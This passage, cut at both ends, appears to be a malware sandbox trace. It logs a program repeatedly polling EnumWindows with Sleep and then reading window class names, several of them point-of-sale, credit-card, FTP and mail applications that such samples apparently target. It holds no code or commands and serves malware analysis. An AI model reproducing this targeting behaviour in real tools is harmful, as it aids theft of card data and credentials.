(lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.428] Sleep (dwMilliseconds=0x64) [0139.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.430] Sleep (dwMilliseconds=0x64) [0139.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.432] Sleep (dwMilliseconds=0x64) [0139.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.434] Sleep (dwMilliseconds=0x64) [0139.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.436] Sleep (dwMilliseconds=0x64) [0139.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.439] Sleep (dwMilliseconds=0x64) [0139.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.442] Sleep (dwMilliseconds=0x64) [0139.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.444] Sleep (dwMilliseconds=0x64) [0139.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.446] Sleep (dwMilliseconds=0x64) [0139.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.448] Sleep (dwMilliseconds=0x64) [0139.450] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.450] Sleep (dwMilliseconds=0x64) [0139.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.452] Sleep (dwMilliseconds=0x64) [0139.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.454] Sleep (dwMilliseconds=0x64) [0139.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.456] Sleep (dwMilliseconds=0x64) [0139.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.458] Sleep (dwMilliseconds=0x64) [0139.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.459] Sleep (dwMilliseconds=0x64) [0139.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.462] Sleep (dwMilliseconds=0x64) [0139.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.463] Sleep (dwMilliseconds=0x64) [0139.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.465] Sleep (dwMilliseconds=0x64) [0139.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.467] Sleep (dwMilliseconds=0x64) [0139.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.469] Sleep (dwMilliseconds=0x64) [0139.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.471] Sleep (dwMilliseconds=0x64) [0139.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.474] Sleep (dwMilliseconds=0x64) [0139.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.476] Sleep (dwMilliseconds=0x64) [0139.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.482] Sleep (dwMilliseconds=0x64) [0139.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.483] Sleep (dwMilliseconds=0x64) [0139.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.485] Sleep (dwMilliseconds=0x64) [0139.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.487] Sleep (dwMilliseconds=0x64) [0139.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.489] Sleep (dwMilliseconds=0x64) [0139.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.491] Sleep (dwMilliseconds=0x64) [0139.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.493] Sleep (dwMilliseconds=0x64) [0139.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.495] Sleep (dwMilliseconds=0x64) [0139.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.497] Sleep (dwMilliseconds=0x64) [0139.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.499] Sleep (dwMilliseconds=0x64) [0139.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.501] Sleep (dwMilliseconds=0x64) [0139.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.503] Sleep (dwMilliseconds=0x64) [0139.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.505] Sleep (dwMilliseconds=0x64) [0139.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.507] Sleep (dwMilliseconds=0x64) [0139.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.509] Sleep (dwMilliseconds=0x64) [0139.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.511] Sleep (dwMilliseconds=0x64) [0139.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.513] Sleep (dwMilliseconds=0x64) [0139.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.515] Sleep (dwMilliseconds=0x64) [0139.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.517] Sleep (dwMilliseconds=0x64) [0139.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.519] Sleep (dwMilliseconds=0x64) [0139.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.522] Sleep (dwMilliseconds=0x64) [0139.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.524] Sleep (dwMilliseconds=0x64) [0139.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.526] Sleep (dwMilliseconds=0x64) [0139.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.528] Sleep (dwMilliseconds=0x64) [0139.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.530] Sleep (dwMilliseconds=0x64) [0139.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.532] Sleep (dwMilliseconds=0x64) [0139.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.534] Sleep (dwMilliseconds=0x64) [0139.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.535] Sleep (dwMilliseconds=0x64) [0139.536] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.537] Sleep (dwMilliseconds=0x64) [0139.538] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.539] Sleep (dwMilliseconds=0x64) [0139.540] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.540] Sleep (dwMilliseconds=0x64) [0139.542] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.542] Sleep (dwMilliseconds=0x64) [0139.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.544] Sleep (dwMilliseconds=0x64) [0139.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.546] Sleep (dwMilliseconds=0x64) [0139.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.548] Sleep (dwMilliseconds=0x64) [0139.550] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.550] Sleep (dwMilliseconds=0x64) [0139.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.552] Sleep (dwMilliseconds=0x64) [0139.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.553] Sleep (dwMilliseconds=0x64) [0139.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.555] Sleep (dwMilliseconds=0x64) [0139.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.557] Sleep (dwMilliseconds=0x64) [0139.558] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.559] Sleep (dwMilliseconds=0x64) [0139.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.562] Sleep (dwMilliseconds=0x64) [0139.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.569] Sleep (dwMilliseconds=0x64) [0139.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.571] Sleep (dwMilliseconds=0x64) [0139.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.572] Sleep (dwMilliseconds=0x64) [0139.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.574] Sleep (dwMilliseconds=0x64) [0139.575] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.575] Sleep (dwMilliseconds=0x64) [0139.576] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.577] Sleep (dwMilliseconds=0x64) [0139.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.578] Sleep (dwMilliseconds=0x64) [0139.579] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.580] Sleep (dwMilliseconds=0x64) [0139.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.581] Sleep (dwMilliseconds=0x64) [0139.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.583] Sleep (dwMilliseconds=0x64) [0139.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.584] Sleep (dwMilliseconds=0x64) [0139.586] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.586] Sleep (dwMilliseconds=0x64) [0139.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.588] Sleep (dwMilliseconds=0x64) [0139.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.589] Sleep (dwMilliseconds=0x64) [0139.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.592] Sleep (dwMilliseconds=0x64) [0139.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.594] Sleep (dwMilliseconds=0x64) [0139.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.670] Sleep (dwMilliseconds=0x64) [0139.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) returned 1 [0139.744] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0139.744] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0139.744] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0139.744] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.744] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.744] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.744] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.744] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.744] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0139.745] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.745] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0139.745] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0139.745] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0139.745] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0139.745] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.745] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0139.745] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0139.745] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0139.745] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0139.745] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0139.745] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.745] GetClassNameA (in: hWnd=0x100a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.745] GetClassNameA (in: hWnd=0x100a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.746] GetClassNameA (in: hWnd=0x100b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.746] GetClassNameA (in: hWnd=0x100bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.746] GetClassNameA (in: hWnd=0x100c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.746] GetClassNameA (in: hWnd=0x10084, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.746] GetClassNameA (in: hWnd=0x10090, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.746] GetClassNameA (in: hWnd=0x100ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.746] GetClassNameA (in: hWnd=0x20078, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0139.746] GetClassNameA (in: hWnd=0x101dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0139.746] GetClassNameA (in: hWnd=0x100d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.746] GetClassNameA (in: hWnd=0x100c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0139.746] GetClassNameA (in: hWnd=0x40132, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0139.746] GetClassNameA (in: hWnd=0x202e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0139.746] GetClassNameA (in: hWnd=0x2024c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0139.746] GetClassNameA (in: hWnd=0x2026a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-006BD5C8-8b7ad90") returned 28 [0139.746] GetClassNameA (in: hWnd=0x202ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0139.747] GetClassNameA (in: hWnd=0x20298, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.747] GetClassNameA (in: hWnd=0x10340, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="AnalysisDemocratcls") returned 19 [0139.747] GetClassNameA (in: hWnd=0x1033e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="largecls") returned 8 [0139.747] GetClassNameA (in: hWnd=0x10310, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="edcsvrapp") returned 9 [0139.747] GetClassNameA (in: hWnd=0x1032e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="utg2class") returned 9 [0139.747] GetClassNameA (in: hWnd=0x10328, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spgagentservice_window") returned 22 [0139.747] GetClassNameA (in: hWnd=0x102fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ccv_server_app") returned 14 [0139.747] GetClassNameA (in: hWnd=0x1032a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0139.747] GetClassNameA (in: hWnd=0x10320, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="mxslipstreamapp") returned 15 [0139.747] GetClassNameA (in: hWnd=0x102f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0139.747] GetClassNameA (in: hWnd=0x10322, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="omniposwnd") returned 10 [0139.747] GetClassNameA (in: hWnd=0x10314, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="issposclass") returned 11 [0139.747] GetClassNameA (in: hWnd=0x102f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="accupos_window") returned 14 [0139.747] GetClassNameA (in: hWnd=0x10312, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="fpos_window") returned 11 [0139.748] GetClassNameA (in: hWnd=0x1033a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.748] GetClassNameA (in: hWnd=0x10308, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="centralcreditcardapp") returned 20 [0139.748] GetClassNameA (in: hWnd=0x10304, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="creditserviceclass") returned 18 [0139.748] GetClassNameA (in: hWnd=0x102da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="winscpapp") returned 9 [0139.748] GetClassNameA (in: hWnd=0x102f4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="aldeloapp") returned 9 [0139.748] GetClassNameA (in: hWnd=0x102d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="trillianapp") returned 11 [0139.748] GetClassNameA (in: hWnd=0x102e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_window") returned 21 [0139.748] GetClassNameA (in: hWnd=0x102e4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="active-chargeapp") returned 16 [0139.748] GetClassNameA (in: hWnd=0x102ce, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="whatsappapp") returned 11 [0139.748] GetClassNameA (in: hWnd=0x102d0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0139.748] GetClassNameA (in: hWnd=0x102ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="scriptftpapp") returned 12 [0139.748] GetClassNameA (in: hWnd=0x102c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0139.748] GetClassNameA (in: hWnd=0x102bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="skypeclass") returned 10 [0139.748] GetClassNameA (in: hWnd=0x102a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="operamailwindow") returned 15 [0139.749] GetClassNameA (in: hWnd=0x102ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="smartftp_wnd") returned 12 [0139.749] GetClassNameA (in: hWnd=0x102b0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="pidgin_cls") returned 10 [0139.749] GetClassNameA (in: hWnd=0x102aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="outlookwnd") returned 10 [0139.749] GetClassNameA (in: hWnd=0x102a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="notepadapp") returned 10 [0139.749] GetClassNameA (in: hWnd=0x1028a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0139.749] GetClassNameA (in: hWnd=0x10294, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ncftp") returned 5 [0139.749] GetClassNameA (in: hWnd=0x10288, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="leechftpcls") returned 11 [0139.749] GetClassNameA (in: hWnd=0x10274, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flingclass") returned 10 [0139.749] GetClassNameA (in: hWnd=0x10280, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="gmailnotifierproapp") returned 19 [0139.749] GetClassNameA (in: hWnd=0x1026c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="filezilla") returned 9 [0139.749] GetClassNameA (in: hWnd=0x10282, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_cls") returned 18 [0139.749] GetClassNameA (in: hWnd=0x10272, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flashfxp_class") returned 14 [0139.749] GetClassNameA (in: hWnd=0x1025e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="farapp") returned 6 [0139.749] GetClassNameA (in: hWnd=0x10262, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="coreftp") returned 7 [0139.750] GetClassNameA (in: hWnd=0x10258, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0139.750] GetClassNameA (in: hWnd=0x1025a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="bitkinexcls") returned 11 [0139.750] GetClassNameA (in: hWnd=0x10252, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0139.750] GetClassNameA (in: hWnd=0x10250, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_class") returned 20 [0139.750] GetClassNameA (in: hWnd=0x10248, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="3dftp_wnd") returned 9 [0139.750] GetClassNameA (in: hWnd=0x10242, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="up_guess_class") returned 14 [0139.750] GetClassNameA (in: hWnd=0x1021c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Strategyplayerownerwnd") returned 22 [0139.750] GetClassNameA (in: hWnd=0x1022a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Talk_class") returned 10 [0139.750] GetClassNameA (in: hWnd=0x10222, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="loss_Necessary_app") returned 18 [0139.750] GetClassNameA (in: hWnd=0x10224, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="safewindow") returned 10 [0139.750] GetClassNameA (in: hWnd=0x10218, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="now_Third_window") returned 16 [0139.750] GetClassNameA (in: hWnd=0x10212, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cup_cls") returned 7 [0139.751] GetClassNameA (in: hWnd=0x10206, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="second_Position_home_wnd") returned 24 [0139.751] GetClassNameA (in: hWnd=0x10226, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="agent_window") returned 12 [0139.751] GetClassNameA (in: hWnd=0x10210, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Hementionnewswindow") returned 19 [0139.751] GetClassNameA (in: hWnd=0x10204, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="High") returned 4 [0139.751] GetClassNameA (in: hWnd=0x301fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Another_artist_window") returned 21 [0139.751] GetClassNameA (in: hWnd=0x2018e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cover_More_cls") returned 14 [0139.751] GetClassNameA (in: hWnd=0x401f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Along") returned 5 [0139.751] GetClassNameA (in: hWnd=0x3002e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="teamMaintainwnd") returned 15 [0139.751] GetClassNameA (in: hWnd=0x20138, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.751] GetClassNameA (in: hWnd=0x30032, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.751] GetClassNameA (in: hWnd=0x2015c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.751] GetClassNameA (in: hWnd=0x6003e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0139.752] GetClassNameA (in: hWnd=0x30194, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0139.752] GetClassNameA (in: hWnd=0x2027c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.752] GetClassNameA (in: hWnd=0x20124, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0139.752] GetClassNameA (in: hWnd=0x20126, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0139.752] GetClassNameA (in: hWnd=0x20196, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0139.752] GetClassNameA (in: hWnd=0x400f8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.752] GetClassNameA (in: hWnd=0x501ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.752] GetClassNameA (in: hWnd=0x101d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.752] GetClassNameA (in: hWnd=0x101d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.752] GetClassNameA (in: hWnd=0x101d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.752] GetClassNameA (in: hWnd=0x101c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0139.752] GetClassNameA (in: hWnd=0x101c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.753] GetClassNameA (in: hWnd=0x101b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0139.753] GetClassNameA (in: hWnd=0x101ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0139.753] GetClassNameA (in: hWnd=0x101aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.753] GetClassNameA (in: hWnd=0x10148, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0139.753] GetClassNameA (in: hWnd=0x10118, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0139.753] GetClassNameA (in: hWnd=0x1010e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.753] GetClassNameA (in: hWnd=0x10116, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0139.753] GetClassNameA (in: hWnd=0x101a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.753] GetClassNameA (in: hWnd=0x101a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.753] GetClassNameA (in: hWnd=0x10114, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0139.753] GetClassNameA (in: hWnd=0x1010c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0139.753] GetClassNameA (in: hWnd=0x100ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0139.753] GetClassNameA (in: hWnd=0x100ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0139.753] GetClassNameA (in: hWnd=0x100e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.754] GetClassNameA (in: hWnd=0x100e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.754] GetClassNameA (in: hWnd=0x100de, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0139.754] GetClassNameA (in: hWnd=0x200d6, lpClassName=0xfe4fd50, 